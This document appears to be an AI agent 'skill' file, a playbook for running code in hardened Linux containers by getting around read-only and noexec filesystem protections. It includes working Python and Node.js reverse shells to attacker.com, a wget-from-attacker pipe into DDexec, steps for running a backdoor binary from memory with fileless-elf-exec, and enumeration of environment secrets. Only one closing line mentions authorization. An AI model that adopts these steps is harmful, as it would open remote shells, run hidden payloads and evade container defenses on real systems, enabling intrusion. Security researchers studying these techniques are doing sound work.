Bypass Fs Protections

Bypass Linux Filesystem Protections

This skill helps you execute code on Linux systems with filesystem restrictions commonly found in containers and hardened environments.

When to Use This Skill

• Container has readOnlyRootFilesystem: true
• Filesystem mounted with noexec flag
• Working in distroless/minimal containers
• Need to execute binaries that aren't on the system
• Standard ./binary execution fails with "Permission denied" or "Operation not permitted"

Understanding the Protections

Read-Only Filesystem

Containers often mount with readOnlyRootFilesystem: true. While / is read-only, /dev/shm remains writable but is mounted with noexec.

No-Exec Protection

Even if you can write to /dev/shm, you cannot execute binaries from there due to the noexec mount flag.

Distroless Containers

Contain only runtime dependencies, no shell, no package manager, no common utilities like ls, whoami, id.

Technique 1: Script-Based Execution (Easiest)

If the interpreter exists on the system, you can execute scripts even with no-exec:

# Shell script (if sh/bash exists)
echo '#!/bin/sh
whoami
id' | sh

# Python script (if python exists)
python3 -c "import os; os.system('id')"

# Perl script (if perl exists)
perl -e 'system("id")'

Limitation: Cannot execute compiled binaries this way.

Technique 2: Fileless ELF Execution (Python/Perl/Ruby)

Use fileless-elf-exec to execute binaries from memory using create_memfd syscall.

How it works:

1. Binary is compressed and base64 encoded into a script
2. Script creates a memory file descriptor via create_memfd syscall
3. Binary is decoded/decompressed into the memory fd
4. exec syscall runs the binary from the fd

Usage:

# Generate a Python script from a binary
python3 fileless-elf-exec.py -b /path/to/binary -l python -o run_binary.py

# Execute the generated script
python3 run_binary.py

Supported languages: Python, Perl, Ruby (languages that can call raw syscalls)

Not supported: PHP, Node.js (no default syscall access)

Technique 3: DDexec / EverythingExec

DDexec modifies your own process memory via /proc/self/mem to execute arbitrary code.

How it works:

1. Downloads binary as base64
2. Writes shellcode to /proc/self/mem
3. Mutates the current process to execute the code

Basic usage:

# Execute a binary from URL
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

# Execute local binary
cat binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Advantages:

• Can load and execute any binary from memory
• Can execute shellcode directly
• Works even with no-exec protections

Technique 4: MemExec (Daemonized DDexec)

MemExec is a daemonized version of DDexec. Once running, you can pass multiple binaries to execute without relaunching.

Usage:

1. First, establish DDexec to run the memexec daemon
2. Communicate with the daemon to load new binaries
3. Each binary is loaded and executed from memory

See memexec PHP example for reverse shell integration.

Technique 5: Memdlopen

Memdlopen provides an easier way to load binaries in memory, including those with dependencies.

Advantages:

• Simpler than DDexec for some use cases
• Can handle binaries with shared library dependencies
• Memory-based execution bypasses filesystem protections

Distroless Container Techniques

Getting Initial Access

In distroless containers, you may not have sh, bash, or common utilities. Use the runtime language:

# Python reverse shell (if Python is available)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('attacker.com',4444))
for cmd in iter(lambda:s.recv(1024).decode(),''):
    s.send(subprocess.check_output(cmd,shell=True))

// Node.js reverse shell (if Node is available)
var net = require('net');
var sh = require('child_process').execSync;
var client = new net.Socket();
client.connect(4444, 'attacker.com', function() {
    client.on('data', function(data) {
        sh(data, function(err, stdout, stderr) {
            client.write(stdout + stderr);
        });
    });
});

Enumerating Without Shell

Use the scripting language to enumerate:

# Python enumeration
import os, socket, platform
print(f"Hostname: {socket.gethostname()}")
print(f"User: {os.getlogin()}")
print(f"UID: {os.getuid()}")
print(f"Platform: {platform.platform()}")
print(f"Env: {os.environ}")

Combining Techniques

1. Get reverse shell via scripting language
2. Use memory execution techniques to run binaries
3. Use fileless-elf-exec or DDexec for tools like kubectl, nmap, etc.

Practical Workflow

Scenario: Container with readOnlyRootFilesystem + noexec

# 1. Check what's available
python3 -c "import os; print(os.listdir('/'))"

# 2. If Python exists, use fileless-elf-exec
# Download the tool and generate script
wget -O fileless-elf-exec.py https://raw.githubusercontent.com/nnsee/fileless-elf-exec/main/fileless-elf-exec.py
python3 fileless-elf-exec.py -b /tmp/backdoor -l python -o run_backdoor.py

# 3. Execute from memory
python3 run_backdoor.py

Scenario: Distroless container with Flask app

# 1. Get Python reverse shell
# (Use the Python reverse shell code above)

# 2. Once you have shell, enumerate
python3 -c "import os; print(os.environ)"

# 3. Use memory execution for additional tools
# Download and use fileless-elf-exec or DDexec

Tools Reference

Important Notes

• Authorization: Only use these techniques on systems you own or have explicit permission to test
• Detection: Memory-based execution may be detected by EDR solutions
• Persistence: Memory execution is volatile - binaries disappear on process exit
• Dependencies: Some techniques require specific syscalls or kernel features

Videos for Deep Dive

• DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
• Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023